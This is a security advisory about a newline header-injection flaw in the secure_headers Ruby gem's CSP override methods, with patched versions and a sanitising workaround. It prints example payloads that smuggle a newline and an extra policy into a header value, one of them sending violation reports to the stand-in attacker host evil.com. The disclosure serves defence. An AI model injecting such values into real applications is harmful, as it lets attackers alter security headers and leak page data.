Advisoriesby IbisLimited header injection when using dynamic overrides with user input
Impact
If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
`
would result in
`
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
`
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
`
`
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
`
Patches
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
Workarounds
```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
`
References
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| secure_headers RubyGems | < ~3.9 | ~3.9 |
Details and references
### Impact If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline. e.g. ```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ``` would result in ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ``` CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial: ```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ``` ### Patches This has been fixed in 6.3.0, 5.2.0, and 3.9.0 ### Workarounds ```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ``` ### References https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies) ### For more information If you have any questions or comments about this advisory: * Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new) * DM us at @ndm on twitter
- Severity from
- GitHub (reviewed advisory)